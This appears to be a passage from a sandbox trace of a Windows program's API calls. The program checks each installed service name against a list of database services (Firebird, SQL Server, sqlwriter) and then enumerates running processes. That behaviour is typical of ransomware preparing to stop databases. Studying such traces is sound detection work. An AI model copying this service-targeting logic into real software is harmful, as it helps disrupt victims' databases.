	[0144.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0144.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0144.467] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0144.467] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0144.468] lstrlenW (lpString="CryptSvc") returned 8
	[0144.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0144.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0144.468] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0144.468] lstrlenW (lpString="DcomLaunch") returned 10
	[0144.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0144.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0144.468] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0144.468] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0144.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0144.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0144.468] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0144.468] lstrlenW (lpString="Dhcp") returned 4
	[0144.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0144.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0144.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0144.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0144.468] lstrlenW (lpString="Dnscache") returned 8
	[0144.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0144.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0144.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0144.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0144.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0144.469] lstrlenW (lpString="DPS") returned 3
	[0144.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0144.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0144.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0144.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0144.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0144.469] lstrlenW (lpString="DusmSvc") returned 7
	[0144.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0144.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0144.469] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0144.469] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0144.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0144.469] lstrlenW (lpString="EventLog") returned 8
	[0144.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0144.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0144.718] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0144.718] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0144.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0144.718] lstrlenW (lpString="EventSystem") returned 11
	[0144.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0144.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0144.718] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0144.718] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0144.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0144.718] lstrlenW (lpString="FontCache") returned 9
	[0144.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0144.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0144.718] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0144.718] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0144.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0144.718] lstrlenW (lpString="gpsvc") returned 5
	[0144.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0144.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0144.718] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0144.718] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0144.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0144.718] lstrlenW (lpString="iphlpsvc") returned 8
	[0144.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0144.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0144.719] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0144.719] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0144.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0144.719] lstrlenW (lpString="KeyIso") returned 6
	[0144.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0144.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0144.719] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0144.719] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0144.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0144.719] lstrlenW (lpString="LanmanServer") returned 12
	[0144.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0144.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0144.719] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0144.719] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0144.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0144.719] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0144.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0144.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0144.719] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0144.719] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0144.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0144.719] lstrlenW (lpString="lfsvc") returned 5
	[0144.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0144.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0144.720] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0144.720] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0144.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0144.720] lstrlenW (lpString="lmhosts") returned 7
	[0144.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0144.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0144.720] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0144.720] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0144.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0144.720] lstrlenW (lpString="LSM") returned 3
	[0144.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0144.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0144.720] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0144.720] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0144.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0144.720] lstrlenW (lpString="MpsSvc") returned 6
	[0144.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0144.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0144.720] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0144.720] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0144.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0144.720] lstrlenW (lpString="NcbService") returned 10
	[0144.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0144.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0144.720] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0144.720] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0144.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0144.721] lstrlenW (lpString="netprofm") returned 8
	[0144.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0144.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0144.721] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0144.721] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0144.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0144.721] lstrlenW (lpString="NgcSvc") returned 6
	[0144.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0144.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0144.721] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0144.721] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0144.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0144.721] lstrlenW (lpString="NlaSvc") returned 6
	[0144.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0144.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0144.721] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0144.721] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0144.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0144.721] lstrlenW (lpString="nsi") returned 3
	[0144.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0144.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0144.721] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0144.721] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0144.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0144.721] lstrlenW (lpString="PcaSvc") returned 6
	[0144.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0144.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0144.722] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0144.722] lstrlenW (lpString="PlugPlay") returned 8
	[0144.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0144.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0144.722] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0144.722] lstrlenW (lpString="Power") returned 5
	[0144.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0144.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0144.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0144.722] lstrlenW (lpString="ProfSvc") returned 7
	[0144.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0144.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0144.722] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0144.722] lstrlenW (lpString="RpcEptMapper") returned 12
	[0144.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0144.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0144.722] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0144.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0144.723] lstrlenW (lpString="RpcSs") returned 5
	[0144.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0144.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0144.723] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0144.723] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0144.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0144.723] lstrlenW (lpString="SamSs") returned 5
	[0144.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0144.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0144.723] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0144.723] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0144.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0144.723] lstrlenW (lpString="Schedule") returned 8
	[0144.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0144.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0144.723] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0144.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0144.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0144.723] lstrlenW (lpString="SecurityHealthService") returned 21
	[0144.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0144.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0144.723] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0144.723] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0144.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0144.723] lstrlenW (lpString="SENS") returned 4
	[0144.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0144.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0144.724] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0144.724] lstrlenW (lpString="ShellHWDetection") returned 16
	[0144.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0144.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0144.724] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0144.724] lstrlenW (lpString="Spooler") returned 7
	[0144.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0144.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0144.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0144.724] lstrlenW (lpString="StateRepository") returned 15
	[0144.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0144.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0144.724] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0144.724] lstrlenW (lpString="SysMain") returned 7
	[0144.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0144.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0144.724] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0144.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0144.725] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0144.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0144.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0144.725] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0144.725] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0144.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0144.725] lstrlenW (lpString="Themes") returned 6
	[0144.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0144.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0144.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0144.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0144.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0144.725] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0144.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0144.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0144.725] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0144.725] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0144.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0144.725] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0144.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0144.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0144.725] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0144.725] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0144.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x459e560 | out: hHeap=0x4f0000) returned 1
	[0144.726] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x534
	[0144.734] Process32FirstW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0144.735] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0144.736] lstrlenW (lpString="System") returned 6
	[0144.736] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0144.737] lstrlenW (lpString="smss.exe") returned 8
	[0144.737] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0144.738] lstrlenW (lpString="csrss.exe") returned 9
	[0144.738] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0144.739] lstrlenW (lpString="wininit.exe") returned 11
	[0144.739] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0144.740] lstrlenW (lpString="csrss.exe") returned 9
	[0144.740] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0144.741] lstrlenW (lpString="winlogon.exe") returned 12
	[0144.741] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0144.742] lstrlenW (lpString="services.exe") returned 12
	[0144.742] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0144.743] lstrlenW (lpString="lsass.exe") returned 9
	[0144.743] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0144.744] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0144.744] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0144.745] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0144.745] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.746] lstrlenW (lpString="svchost.exe") returned 11
	[0144.746] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.747] lstrlenW (lpString="svchost.exe") returned 11
	[0144.747] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0144.748] lstrlenW (lpString="dwm.exe") returned 7
	[0144.748] Process32NextW (in: hSnapshot=0x534, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0144.748] lstrlenW (lpString="svchost.exe") returned 11
